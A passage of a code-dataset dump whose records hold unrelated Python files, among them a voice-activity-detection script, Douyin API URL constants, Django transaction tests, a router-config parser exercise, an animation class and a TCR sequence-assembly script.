pivot(x, lst):\r\n\tlists = [[], [], []]\r\n\tfor item in lst:\r\n\t\tif item < x:\r\n\t\t\tlists[0].append(item)\r\n\t\telif item == x:\r\n\t\t\tlists[1].append(item)\r\n\t\telse:\r\n\t\t\tlists[2].append(item)\r\n\r\n\tfinished = []\r\n\tfor l in lists:\r\n\t\tfinished += l\r\n\r\n\treturn finished\r\n\r\n\r\nlst = [4,7,1,4,6,5,635,5]\r\nprint(pivot(5, lst))\r\n\r\n","repo_name":"timothy900/Daily-Coding-Problems","sub_path":"^DCP/5.7.20 - Pivot/pivot.py","file_name":"pivot.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"73485651943","text":"import argparse\nimport json\nimport math\nimport os\nimport warnings\nfrom typing import Optional\n\nimport torch\nimport torchaudio\nfrom torchaudio.functional.filtering import _measure\n\n\n# vad from torchaudio.functional.filtering\n# rewrote to get access to pos - samplesLen_ns + flushedLen_ns\ndef voice_activity_detection(\n waveform: torch.Tensor,\n sample_rate: int,\n trigger_level: float = 7.0,\n trigger_time: float = 0.25,\n search_time: float = 1.0,\n allowed_gap: float = 0.25,\n pre_trigger_time: float = 0.0,\n # Fine-tuning parameters\n boot_time: float = 0.35,\n noise_up_time: float = 0.1,\n noise_down_time: float = 0.01,\n noise_reduction_amount: float = 1.35,\n measure_freq: float = 20.0,\n measure_duration: Optional[float] = None,\n measure_smooth_time: float = 0.4,\n hp_filter_freq: float = 50.0,\n lp_filter_freq: float = 6000.0,\n hp_lifter_freq: float = 150.0,\n lp_lifter_freq: float = 2000.0,\n):\n r\"\"\"Voice Activity Detector. Similar to SoX implementation.\n\n .. devices:: CPU CUDA\n\n .. properties:: TorchScript\n\n Attempts to trim silence and quiet background sounds from the ends of recordings of speech.\n The algorithm currently uses a simple cepstral power measurement to detect voice,\n so may be fooled by other things, especially music.\n\n The effect can trim only from the front of the audio,\n so in order to trim from the back, the reverse effect must also be used.\n\n Args:\n waveform (Tensor): Tensor of audio of dimension `(channels, time)` or `(time)`\n Tensor of shape `(channels, time)` is treated as a multi-channel recording\n of the same event and the resulting output will be trimmed to the earliest\n voice activity in any channel.\n sample_rate (int): Sample rate of audio signal.\n trigger_level (float, optional): The measurement level used to trigger activity detection.\n This may need to be cahnged depending on the noise level, signal level,\n and other characteristics of the input audio. (Default: 7.0)\n trigger_time (float, optional): The time constant (in seconds)\n used to help ignore short bursts of sound. (Default: 0.25)\n search_time (float, optional): The amount of audio (in seconds)\n to search for quieter/shorter bursts of audio to include prior\n to the detected trigger point. (Default: 1.0)\n allowed_gap (float, optional): The allowed gap (in seconds) between\n quieter/shorter bursts of audio to include prior\n to the detected trigger point. (Default: 0.25)\n pre_trigger_time (float, optional): The amount of audio (in seconds) to preserve\n before the trigger point and any found quieter/shorter bursts. (Default: 0.0)\n boot_time (float, optional) The algorithm (internally) uses adaptive noise\n estimation/reduction in order to detect the start of the wanted audio.\n This option sets the time for the initial noise estimate. (Default: 0.35)\n noise_up_time (float, optional) Time constant used by the adaptive noise estimator\n for when the noise level is increasing. (Default: 0.1)\n noise_down_time (float, optional) Time constant used by the adaptive noise estimator\n for when the noise level is decreasing. (Default: 0.01)\n noise_reduction_amount (float, optional) Amount of noise reduction to use in\n the detection algorithm (e.g. 0, 0.5, ...). (Default: 1.35)\n measure_freq (float, optional) Frequency of the algorithm’s\n processing/measurements. (Default: 20.0)\n measure_duration: (float, optional) Measurement duration.\n (Default: Twice the measurement period; i.e. with overlap.)\n measure_smooth_time (float, optional) Time constant used to smooth\n spectral measurements. (Default: 0.4)\n hp_filter_freq (float, optional) \"Brick-wall\" frequency of high-pass filter applied\n at the input to the detector algorithm. (Default: 50.0)\n lp_filter_freq (float, optional) \"Brick-wall\" frequency of low-pass filter applied\n at the input to the detector algorithm. (Default: 6000.0)\n hp_lifter_freq (float, optional) \"Brick-wall\" frequency of high-pass lifter used\n in the detector algorithm. (Default: 150.0)\n lp_lifter_freq (float, optional) \"Brick-wall\" frequency of low-pass lifter used\n in the detector algorithm. (Default: 2000.0)\n\n Returns:\n Tensor: Tensor of audio of dimension `(..., time)`.\n\n Reference:\n - http://sox.sourceforge.net/sox.html\n \"\"\"\n\n if waveform.ndim > 2:\n warnings.warn(\n \"Expected input tensor dimension of 1 for single channel\"\n f\" or 2 for multi-channel. Got {waveform.ndim} instead. \"\n \"Batch semantics is not supported. \"\n \"Please refer to https://github.com/pytorch/audio/issues/1348\"\n \" and https://github.com/pytorch/audio/issues/1468.\"\n )\n\n measure_duration: float = 2.0 / measure_freq if measure_duration is None else measure_duration\n\n measure_len_ws = int(sample_rate * measure_duration + 0.5)\n measure_len_ns = measure_len_ws\n # for (dft_len_ws = 16; dft_len_ws < measure_len_ws; dft_len_ws <<= 1);\n dft_len_ws = 16\n while dft_len_ws < measure_len_ws:\n dft_len_ws *= 2\n\n measure_period_ns = int(sample_rate / measure_freq + 0.5)\n measures_len = math.ceil(search_time * measure_freq)\n search_pre_trigger_len_ns = measures_len * measure_period_ns\n gap_len = int(allowed_gap * measure_freq + 0.5)\n\n fixed_pre_trigger_len_ns = int(pre_trigger_time * sample_rate + 0.5)\n samplesLen_ns = fixed_pre_trigger_len_ns + search_pre_trigger_len_ns + measure_len_ns\n\n spectrum_window = torch.zeros(measure_len_ws)\n for i in range(measure_len_ws):\n # sox.h:741 define SOX_SAMPLE_MIN (sox_sample_t)SOX_INT_MIN(32)\n spectrum_window[i] = 2.0 / math.sqrt(float(measure_len_ws))\n # lsx_apply_hann(spectrum_window, (int)measure_len_ws);\n spectrum_window *= torch.hann_window(measure_len_ws, dtype=torch.float)\n\n spectrum_start: int = int(hp_filter_freq / sample_rate * dft_len_ws + 0.5)\n spectrum_start: int = max(spectrum_start, 1)\n spectrum_end: int = int(lp_filter_freq / sample_rate * dft_len_ws + 0.5)\n spectrum_end: int = min(spectrum_end, dft_len_ws // 2)\n\n cepstrum_window = torch.zeros(spectrum_end - spectrum_start)\n for i in range(spectrum_end - spectrum_start):\n cepstrum_window[i] = 2.0 / math.sqrt(float(spectrum_end) - spectrum_start)\n # lsx_apply_hann(cepstrum_window,(int)(spectrum_end - spectrum_start));\n cepstrum_window *= torch.hann_window(spectrum_end - spectrum_start, dtype=torch.float)\n\n cepstrum_start = math.ceil(sample_rate * 0.5 / lp_lifter_freq)\n cepstrum_end = math.floor(sample_rate * 0.5 / hp_lifter_freq)\n cepstrum_end = min(cepstrum_end, dft_len_ws // 4)\n\n assert cepstrum_end > cepstrum_start\n\n noise_up_time_mult = math.exp(-1.0 / (noise_up_time * measure_freq))\n noise_down_time_mult = math.exp(-1.0 / (noise_down_time * measure_freq))\n measure_smooth_time_mult = math.exp(-1.0 / (measure_smooth_time * measure_freq))\n trigger_meas_time_mult = math.exp(-1.0 / (trigger_time * measure_freq))\n\n boot_count_max = int(boot_time * measure_freq - 0.5)\n measure_timer_ns = measure_len_ns\n boot_count = measures_index = flushedLen_ns = samplesIndex_ns = 0\n\n # pack batch\n shape = waveform.size()\n waveform = waveform.view(-1, shape[-1])\n\n n_channels, ilen = waveform.size()\n\n mean_meas = torch.zeros(n_channels)\n samples = torch.zeros(n_channels, samplesLen_ns)\n spectrum = torch.zeros(n_channels, dft_len_ws)\n noise_spectrum = torch.zeros(n_channels, dft_len_ws)\n measures = torch.zeros(n_channels, measures_len)\n\n has_triggered: bool = False\n num_measures_to_flush: int = 0\n pos: int = 0\n\n while pos < ilen and not has_triggered:\n measure_timer_ns -= 1\n for i in range(n_channels):\n samples[i, samplesIndex_ns] = waveform[i, pos]\n # if (!p->measure_timer_ns) {\n if measure_timer_ns == 0:\n index_ns: int = (samplesIndex_ns + samplesLen_ns - measure_len_ns) % samplesLen_ns\n meas: float = _measure(\n measure_len_ws=measure_len_ws,\n samples=samples[i],\n spectrum=spectrum[i],\n noise_spectrum=noise_spectrum[i],\n spectrum_window=spectrum_window,\n spectrum_start=spectrum_start,\n spectrum_end=spectrum_end,\n cepstrum_window=cepstrum_window,\n cepstrum_start=cepstrum_start,\n cepstrum_end=cepstrum_end,\n noise_reduction_amount=noise_reduction_amount,\n measure_smooth_time_mult=measure_smooth_time_mult,\n noise_up_time_mult=noise_up_time_mult,\n noise_down_time_mult=noise_down_time_mult,\n index_ns=index_ns,\n boot_count=boot_count,\n )\n measures[i, measures_index] = meas\n mean_meas[i] = mean_meas[i] * trigger_meas_time_mult + meas * (1.0 - trigger_meas_time_mult)\n\n has_triggered = has_triggered or (mean_meas[i] >= trigger_level)\n if has_triggered:\n n: int = measures_len\n k: int = measures_index\n jTrigger: int = n\n jZero: int = n\n j: int = 0\n\n for j in range(n):\n if (measures[i, k] >= trigger_level) and (j <= jTrigger + gap_len):\n jZero = jTrigger = j\n elif (measures[i, k] == 0) and (jTrigger >= jZero):\n jZero = j\n k = (k + n - 1) % n\n j = min(j, jZero)\n # num_measures_to_flush = range_limit(j, num_measures_to_flush, n);\n num_measures_to_flush = min(max(num_measures_to_flush, j), n)\n # end if has_triggered\n # end if (measure_timer_ns == 0):\n # end for\n samplesIndex_ns += 1\n pos += 1\n # end while\n if samplesIndex_ns == samplesLen_ns:\n samplesIndex_ns = 0\n if measure_timer_ns == 0:\n measure_timer_ns = measure_period_ns\n measures_index += 1\n measures_index = measures_index % measures_len\n if boot_count >= 0:\n boot_count = -1 if boot_count == boot_count_max else boot_count + 1\n\n if has_triggered:\n flushedLen_ns = (measures_len - num_measures_to_flush) * measure_period_ns\n samplesIndex_ns = (samplesIndex_ns + flushedLen_ns) % samplesLen_ns\n\n res = waveform[:, pos - samplesLen_ns + flushedLen_ns:]\n # unpack batch\n return res.view(shape[:-1] + res.shape[-1:]), pos - samplesLen_ns + flushedLen_ns\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset\", type=str, required=True, help=\"path to the dataset directory\")\n args = parser.parse_args()\n\n prob3_dir = os.path.join(args.dataset, \"문제3\")\n answer_path = os.path.join(args.dataset, \"answer.json\")\n\n with open(answer_path, \"r\") as f:\n answer = json.load(f)\n\n for prob_idx, prob in enumerate(answer[\"Q3\"]):\n filepath = os.path.join(prob3_dir, f\"{prob['filename']}\")\n\n wav, sr = torchaudio.load(filepath)\n length = wav.shape[-1]\n\n _wav, begin_idx = voice_activity_detection(wav, sr)\n _wav, reverse_begin_idx = voice_activity_detection(_wav.flip(dims=[-1]), sr)\n\n prob[\"begin\"] = float(f\"{begin_idx / sr:.3f}\")\n prob[\"end\"] = float(f\"{(length - reverse_begin_idx) / sr:.3f}\")\n\n with open(answer_path, \"w\", encoding=\"utf-8\") as f:\n json.dump(answer, f, ensure_ascii=False, indent=4)\n","repo_name":"lexiconium/2022-korean-asr-competition","sub_path":"preliminary/3/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":12107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7743187393","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@Description:Urls.py\n@Date :2023/02/08 18:14:47\n@Author :JohnserfSeed\n@version :0.0.1\n@License :MIT License\n@Github :https://github.com/johnserf-seed\n@Mail :johnserf-seed@foxmail.com\n-------------------------------------------------\nChange Log :\n2023/02/08 18:14:47 - Create Urls from https://langyue.cc/APIdocV1.0.html\n-------------------------------------------------\n'''\n\nimport Util\n\n\nclass Urls:\n def __init__(self):\n ######################################### WEB #########################################\n # 首页推荐\n self.TAB_FEED = 'https://www.douyin.com/aweme/v1/web/tab/feed/?'\n\n # 用户短信息(给多少个用户secid就返回多少的用户信息)\n self.USER_SHORT_INFO = 'https://www.douyin.com/aweme/v1/web/im/user/info/?'\n\n # 用户详细信息\n self.USER_DETAIL = 'https://www.douyin.com/aweme/v1/web/user/profile/other/?'\n\n # 用户作品\n self.USER_POST = 'https://www.douyin.com/aweme/v1/web/aweme/post/?'\n\n # 作品信息\n self.POST_DETAIL = 'https://www.douyin.com/aweme/v1/web/aweme/detail/?'\n\n # 用户喜欢A\n self.USER_FAVORITE_A = 'https://www.douyin.com/aweme/v1/web/aweme/favorite/?'\n\n # 用户喜欢B\n self.USER_FAVORITE_B = 'https://www.iesdouyin.com/web/api/v2/aweme/like/?'\n\n # 用户历史\n self.USER_HISTORY = 'https://www.douyin.com/aweme/v1/web/history/read/?'\n\n # 用户收藏\n self.USER_COLLECTION = 'https://www.douyin.com/aweme/v1/web/aweme/listcollection/?'\n\n # 用户评论\n self.COMMENT = 'https://www.douyin.com/aweme/v1/web/comment/list/?'\n\n # 首页朋友作品\n self.FRIEND_FEED = 'https://www.douyin.com/aweme/v1/web/familiar/feed/?'\n\n # 关注用户作品\n self.FOLLOW_FEED = 'https://www.douyin.com/aweme/v1/web/follow/feed/?'\n\n # 直播信息接口\n self.LIVE = 'https://live.douyin.com/webcast/room/web/enter/?'\n\n # X-Bogus Path\n self.GET_XB_PATH = 'http://127.0.0.1:8889/xg/path?url='\n\n # X-Bogus Login\n self.GET_XB_LOGIN = 'http://47.115.200.238/login'\n\n # X-Bogus Register\n self.GET_XB_REGISTER = 'http://47.115.200.238/register'\n\n # X-Bogus Token\n self.GET_XB_TOKEN = 'http://47.115.200.238/token'\n #######################################################################################\n\n ######################################### APP #########################################\n # X-Gorgon Path\n self.GET_XG_LOGIN = 'http://47.115.200.238/xog/path?url='\n\n #######################################################################################\n\nif __name__ == '__main__':\n Urls()\n","repo_name":"drizzle888/TikTokDownload","sub_path":"Util/Urls.py","file_name":"Urls.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"36"} +{"seq_id":"7138749711","text":"import pytest\n\nfrom api.models import Transaction\n\n\n@pytest.mark.django_db\ndef test_add_transaction(client, add_user, add_budget):\n user = add_user()\n budget = add_budget(name=\"my budget\", description=\"ok budget\", owner=user)\n client.force_login(user)\n\n transactions = Transaction.objects.all()\n assert len(transactions) == 0\n\n response = client.post(\n \"/api/transactions/\",\n {\n \"name\": \"Rent\",\n \"category\": \"rent\",\n \"type\": \"expense\",\n \"amount\": -200000,\n \"budget\": budget.id,\n },\n content_type=\"application/json\",\n )\n assert response.status_code == 201\n assert response.data[\"name\"] == \"Rent\"\n assert response.data[\"amount\"] == -200000\n assert response.data[\"type\"] == \"expense\"\n assert response.data[\"budget\"] == budget.id\n assert response.data[\"owner\"] == user.id\n\n transactions = Transaction.objects.all()\n assert len(transactions) == 1\n\n\n@pytest.mark.django_db\ndef test_get_all_transactions(client, add_budget, add_user, add_transaction):\n user = add_user()\n client.force_login(user)\n budget = add_budget(name=\"My Family Budget\", description=\"our budget\", owner=user)\n transaction_one = add_transaction(\n name=\"rent\", type=\"expense\", category=\"rent\", budget=budget, amount=-200000\n )\n transaction_two = add_transaction(\n name=\"salary\", type=\"income\", category=\"salary\", budget=budget, amount=500000\n )\n\n response = client.get(\"/api/transactions/\")\n assert response.status_code == 200\n assert response.data[\"results\"][0][\"name\"] == transaction_one.name\n assert response.data[\"results\"][1][\"name\"] == transaction_two.name\n","repo_name":"druidmaciek/budget-app","sub_path":"app/tests/api/test_transaction_views.py","file_name":"test_transaction_views.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8917837763","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\nЗадание 9.4a\n\nЗадача такая же, как и задании 9.4.\nПроверить работу функции надо на примере файла config_r1.txt\n\nОбратите внимание на конфигурационный файл.\nВ нем есть разделы с большей вложенностью, например, разделы:\n* interface Ethernet0/3.100\n* router bgp 100\n\nНадо чтобы функция config_to_dict обрабатывала следующий уровень вложенности.\nПри этом, не привязываясь к конкретным разделам.\nОна должна быть универсальной, и сработать, если это будут другие разделы.\n\nЕсли уровня вложенности два:\n* то команды верхнего уровня будут ключами словаря,\n* а команды подуровней - списками\n\nЕсли уровня вложенности три:\n* самый вложенный уровень должен быть списком,\n* а остальные - словарями.\n\nНа примере interface Ethernet0/3.100:\n\n{'interface Ethernet0/3.100':{\n 'encapsulation dot1Q 100':[],\n 'xconnect 10.2.2.2 12100 encapsulation mpls':\n ['backup peer 10.4.4.4 14100',\n 'backup delay 1 1']}}\n\n\nОграничение: Все задания надо выполнять используя только пройденные темы.\n\n'''\n\nignore = ['duplex', 'alias', 'Current configuration', '!']\n\ndef check_ignore(command, ignore):\n '''\n Функция проверяет содержится ли в команде слово из списка ignore.\n\n command - строка. Команда, которую надо проверить\n ignore - список. Список слов\n\n Возвращает True, если в команде содержится слово из списка ignore, False - если нет\n\n '''\n return any(word in command for word in ignore)\n\ndef config_to_dict(conf):\n result={}\n block=[]\n command_high=''\n command_2=''\n new_block=False\n tripple=False\n with open(conf) as f:\n for line in f:\n line=line.rstrip()\n '''Cutting config to blocks. New block starts with string without sapce and\n check tripple depth for the block'''\n if line and not check_ignore(line, ignore):\n if line[0]!=' ':\n old_block=block\n block=[]\n new_block=True\n else:\n new_block=False\n if line.startswith(' '):\n tripple=True \n block.append(line)\n '''Parse block Depends on depth '''\n if new_block:\n if tripple:\n \tfor str in old_block:\n if str[0]!=' ':\n result.update({str:{}})\n command_high=str\n else:\n str=str[1:]\n if str[0]!=' ':\n result[command_high].update({str:[]})\n command_2=str\n else:\n result[command_high][command_2].append(str.strip())\n else:\n for str in old_block:\n if str[0]!=' ':\n result.update({str:[]})\n command_high=str\n else:\n result[command_high].append(str.strip())\n tripple=False\n return result\nparse=config_to_dict('config_r1.txt')\nfor key in parse.keys():\n print('\\n'+key)\n if type(parse[key])==type(dict()):\n for sub_key in parse[key].keys():\n print(' '+sub_key)\n print(' '+str(parse[key][sub_key]))\n else:\n print(' '+str(parse[key]))\n \n","repo_name":"realnakrul/PyNEng","sub_path":"09_functions/task_9_4a.py","file_name":"task_9_4a.py","file_ext":"py","file_size_in_byte":4310,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2115333424","text":"import json\nimport os\nimport numpy as np\n\n\n#根目录\nrPath=os.path.abspath(os.path.join(os.path.dirname(__file__),\"..\"))\n\n# 代码的父路径\nmpath =rPath+\"/LatestCodeDownload\"\n\n\n#获得作弊代码总数量\ndef getCheatCodeNums():\n codeNums=0\n with open(\"../data/exercise_cheat_users.json\",\"r\",encoding=\"utf-8\") as fp:\n data=json.load(fp)\n for key in data.keys():\n codeNums=codeNums+data[key][\"total\"]\n return codeNums\n\n\n#获得代码总数量\ndef getCodeTotal():\n codeTotal=0\n for cpath in os.listdir(mpath):\n acpath =mpath + \"/\" + cpath\n codeTotal=codeTotal+len(os.listdir(acpath))\n return codeTotal\n\n#获得用户总数量\ndef getUserTotal():\n users=[]\n for cpath in os.listdir(mpath):\n acpath = mpath + \"/\" + cpath\n for ccpath in os.listdir(acpath):\n user=ccpath.split('.')[0]\n if(user not in users):\n users.append(user)\n return len(users)\n\n#获得作弊用户数量\ndef getCheatUserNums():\n with open(\"../data/user_cheat_exercises.json\",\"r\",encoding=\"utf-8\") as fp:\n data=json.load(fp)\n return len(data.keys())\n\n#获得抄袭人数最多的题目排名\ndef case_cheat_ranking():\n ranks={}\n with open(\"../data/exercise_cheat_users.json\",\"r\",encoding=\"utf-8\") as fp:\n data = json.load(fp)\n count=0\n for key in data.keys():\n ranks[key]=data[key][\"total\"]\n count=count+1\n if(count>=10):\n break\n return ranks\n\n\n#获得抄袭题目最多的学生排名\ndef user_cheat_ranking():\n ranks = {}\n with open(\"../data/user_cheat_exercises.json\",\"r\",encoding=\"utf-8\") as fp:\n data = json.load(fp)\n count = 0\n for key in data.keys():\n ranks[key] = data[key][\"total\"]\n count = count + 1\n if (count >= 10):\n break\n return ranks\n\ndef get_cheat_ratio_difficulty():\n temp={}\n fp=open(\"../data/simplified_data.json\",\"r\",encoding=\"utf-8\")\n data=json.load(fp)\n for case_id, details in data.items():\n cheat_ratio=round(details[\"num_of_isco\"]/details[\"user_count\"]*100)\n temp.setdefault(details[\"difficulty\"],[])\n temp[details[\"difficulty\"]].append(cheat_ratio)\n\n difficultys=[]\n cheat_ratios=[]\n temp=dict(sorted(temp.items(),key=lambda item:item[0]))\n for difficulty,arrays in temp.items():\n avg=round(np.mean(arrays))\n difficultys.append(difficulty)\n cheat_ratios.append(avg)\n return difficultys,cheat_ratios\n\n\ndef get_avg_difficulty():\n temp = {}\n fp = open(\"../data/simplified_data.json\", \"r\", encoding=\"utf-8\")\n data = json.load(fp)\n for case_id, details in data.items():\n temp.setdefault(details[\"case_type\"],[])\n temp[details[\"case_type\"]].append(details[\"difficulty\"])\n\n types=[]\n avg_diffs=[]\n for type, arrays in temp.items():\n types.append(type)\n avg_diffs.append(np.mean(arrays))\n\n return types,avg_diffs\n\ndef get_type_diff_nums():\n temp = {}\n fp = open(\"../data/simplified_data.json\", \"r\", encoding=\"utf-8\")\n data = json.load(fp)\n for case_id, details in data.items():\n temp.setdefault(details[\"case_type\"],[])\n temp[details[\"case_type\"]].append(details[\"difficulty\"])\n\n types=[]\n diff_nums=[[0,0,0,0,0,0,0,0] for i in range(0,5)]\n index=0\n for type, arrays in temp.items():\n types.append(type)\n for diff in arrays:\n diff_nums[diff-1][index]+=1\n index+=1\n print(diff_nums)\n return types,diff_nums\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"pujx233/data-analysis-homework","sub_path":"analysis/data_functions.py","file_name":"data_functions.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42208882272","text":"from functools import lru_cache\n\nfrom vectortween.Animation import Animation\nfrom vectortween.NumberAnimation import NumberAnimation\nfrom vectortween.Tween import Tween\n\n\nclass PointAnimation(Animation):\n \"\"\"\n animation of a 2d position (convenience class composing two number animations)\n \"\"\"\n\n def __init__(self, frm, to, tween=None, ytween=None, noise_fn=None, y_noise_fn=None, xy_noise_fn=None):\n \"\"\"\n :param frm: a list/tuple containing an (x, y) number (starting point; floats) \n :param to: a list/tuple containing an (x, y) number (end point; floats)\n :param tween: tween method for the x coordinate (defaults to linear if not specified)\n :param ytween: tween method for the y coordinate (defaults to same as that for x coordinate)\n :param noise_fn: optional noise function for x,t coordinates, returning single value\n :param y_noise_fn: optional noise function for y,t coordinates, returning single value\n :param xy_noise_fn: optional noise function for x,y,t coordinates, returning two values\n \"\"\"\n super().__init__(frm, to)\n if ytween is None:\n ytween = tween\n\n self.xy_noise_fn = xy_noise_fn\n self.anim_x = NumberAnimation(self.frm[0], self.to[0], tween, noise_fn)\n self.anim_y = NumberAnimation(self.frm[1], self.to[1], ytween, y_noise_fn)\n\n #@lru_cache(maxsize=1000)\n def make_frame(self, frame, birthframe, startframe, stopframe, deathframe, noiseframe=None):\n \"\"\"\n :param frame: current frame \n :param birthframe: frame where this animation starts returning something other than None\n :param startframe: frame where animation starts to evolve\n :param stopframe: frame where animation is completed\n :param deathframe: frame where animation starts to return None\n :return: \n \"\"\"\n newx = self.anim_x.make_frame(frame, birthframe, startframe, stopframe, deathframe, noiseframe)\n newy = self.anim_y.make_frame(frame, birthframe, startframe, stopframe, deathframe, noiseframe)\n\n if self.xy_noise_fn is not None:\n if noiseframe is not None:\n t = noiseframe\n else:\n t = Tween.tween2(frame, startframe, stopframe)\n addx, addy = self.xy_noise_fn(newx, newy, t)\n else:\n addx, addy = 0, 0\n final_x = newx + addx if (newx is not None and addx is not None) else None\n final_y = newy + addy if (newy is not None and addy is not None) else None\n return final_x, final_y\n","repo_name":"shimpe/pyvectortween","sub_path":"vectortween/PointAnimation.py","file_name":"PointAnimation.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"36"} +{"seq_id":"22755531324","text":"import sys\r\nimport itertools\r\nimport collections\r\n\r\nN = int(input())\r\nscvs = sorted(list(map(int, input().split())) + [0] * (3 - N))\r\nvisited = [[[0 for i in range(61)]for j in range(61)]for k in range(61)]\r\ncombs = list(itertools.permutations([9, 3, 1], 3))\r\ndq = collections.deque([[scvs, 0]])\r\n\r\nwhile dq:\r\n tmp, cnt = dq.popleft()\r\n if tmp[2] <= 0:\r\n break\r\n \r\n for comb in combs:\r\n next_scv = [0] * 3\r\n for i in range(3):\r\n next_scv[i] = [0, tmp[i] - comb[i]][tmp[i] - comb[i] > 0]\r\n next_scv.sort()\r\n if not visited[next_scv[0]][next_scv[1]][next_scv[2]]:\r\n visited[next_scv[0]][next_scv[1]][next_scv[2]] = 1\r\n dq.append([next_scv, cnt + 1])\r\n\r\nprint(cnt)\r\n","repo_name":"scottXchoo/Algorithm_Problem_Solving","sub_path":"백준/Gold/12869. 뮤탈리스크/뮤탈리스크.py","file_name":"뮤탈리스크.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"2201114833","text":"\n__requires__ = 'bcr-models==0.0.0'\nimport re\nimport sys\nimport os\nimport pandas\nimport bcr_models as bcr\nimport bcr_models.utils\nimport bcr_models.canonical_structures\n\nfrom pprint import pprint\nimport re\nimport csv\n\nfrom Bio import SeqIO\nimport argparse\n\nparser = argparse.ArgumentParser(description='Transform TCR CDR+germ lines to complete sequences')\nparser.add_argument('filein', type=str, help='the csv-format file from VDJ_DB the following data: sequence ID, CDR3, V gene, J gene')\n\nargs = parser.parse_args()\nfilein= args.filein\n\ndata=pandas.read_csv(filein, sep=\",\")\n\ngenes={}\ngene_sequences = SeqIO.parse(open('/home/ida/master-thesis/data/TCR_genes.fasta'),'fasta')\n\nfor fasta in gene_sequences:\n name, sequence = fasta.id, str(fasta.seq)\n rege=re.match(r'TR(.)(.)0*(\\d+)([^\\|]+)', name)\n if (rege):\n actg=\"1\"\n acta=\"1\"\n acti=rege.group(1)\n actt=rege.group(2)\n actf=rege.group(3)\n more=rege.group(4)\n rege2=re.search(r'\\-0*(\\d+)', more)\n if (rege2):\n actg=rege2.group(1)\n rege2=re.search(r'\\*0*(\\d+)', more)\n if (rege2):\n acta=rege2.group(1)\n genes[(acti,actt,actf,actg,acta)]=sequence\n else:\n print(\"Error. Could not understand name in database file:\" + name)\n\nhmms = bcr.db.builtin_hmms()\ntemplate_db = bcr.db.BuiltinTemplateDatabase()\npdb_db = bcr.db.BuiltinPDBDatabase()\n#csdb = bcr.db.BuiltinCsDatabase()\nsample_class={}\nsample_memory={}\n\ncount_success = 0\nerror_1, error_2, error_3 = 0, 0, 0\n\nwith open( filein, mode='r') as infile:\n reader = csv.reader(infile)\n for rows in reader:\n vseq=''\n jseq=''\n # Find V sequence\n rege = re.match(r'TR(.)(.)0*(\\d+)([^\\|]+)?', rows[2])\n if (rege):\n actg_v=\"1\"\n acta_v=\"1\"\n acti_v=rege.group(1)\n actt_v=rege.group(2)\n actf_v=rege.group(3)\n more=rege.group(4)\n if more:\n rege2=re.match(r'\\-0*(\\d+)', more)\n if (rege2):\n actg_v=rege2.group(1)\n if more:\n rege2=re.match(r'\\*0*(\\d+)', more)\n if (rege2):\n acta_v=rege2.group(1)\n try:\n vseq=genes[(acti_v,actt_v,actf_v,actg_v,acta_v)]\n except:\n print(\"Error. Could not find V gene in database: \" + rows[2], str(acti_v),str(actt_v),str(actf_v),str(actg_v),str(acta_v))\n continue\n else:\n print(\"Error: Could not recognize V gene: {}\".format(rows[2]))\n continue\n\n # Find J sequence\n rege = re.match(r'TR(.)(.)0*(\\d+)([^\\|]+)?', rows[3])\n if (rege):\n actg_j=\"1\"\n acta_j=\"1\"\n acti_j=rege.group(1)\n actt_j=rege.group(2)\n actf_j=rege.group(3)\n more=rege.group(4)\n if more:\n rege2=re.match(r'\\-0*(\\d+)', more)\n if (rege2):\n actg_j=rege2.group(1)\n if more:\n rege2=re.match(r'\\*0*(\\d+)', more)\n if (rege2):\n acta_j=rege2.group(1)\n try:\n jseq=genes[(acti_j,actt_j,actf_j,actg_j,acta_j)]\n except:\n print(\"Error. Could not find J gene in database: \" + rows[3] + acti_j,actt_j,actf_j,actg_j,acta_j)\n continue\n else:\n print(\"Error: Could not recognize J gene: {}\".format(rows[3]))\n continue\n\n ig_chain1 =bcr.IgChain(rows[1], template_db=template_db, pdb_db=pdb_db)\n ig_chain2 =bcr.IgChain(vseq, template_db=template_db, pdb_db=pdb_db)\n ig_chain3 =bcr.IgChain(jseq, template_db=template_db, pdb_db=pdb_db)\n\n rege1=re.match(r'(.+C)[^C]{0,5}', ig_chain2.sequence)\n if rege1:\n chain2=rege1.group(1)\n rege2=re.match(r'.{0,11}([FW]G.*)', ig_chain3.sequence)\n if rege2:\n chain3=rege2.group(1)\n finalseq=chain2+rows[1]+chain3\n final_ig =bcr.IgChain(finalseq, template_db=template_db, pdb_db=pdb_db)\n try:\n final_ig.hmmsearch(*hmms)\n aligned_seq=final_ig.aligned_seq\n print(aligned_seq)\n count_success += 1\n except Exception:\n print(\"Error. hmmsearch failed for: \" + finalseq)\n error_1 += 1\n else:\n print(\"Error. Could not find 'F/W' followed by G in J gene: \" + \\\n acti_j + actt_j + actf_j + actg_j + acta_j + \" \" + ig_chain3.sequence)\n error_2 += 1\n else:\n print(\"Error. Could not find a 'C' within last six AAs in V gene: \" + \\\n acti_v + actt_v + actf_v + actg_v + acta_v + \" \" + ig_chain2.sequence)\n error_3 += 1\nprint(\"Success: \" + str(count_success))\nprint(\"Error hmmsearch failed: \" + str(error_1))\nprint(\"Error F/W in J gene: \" + str(error_2))\nprint(\"Error C in V gene: \" + 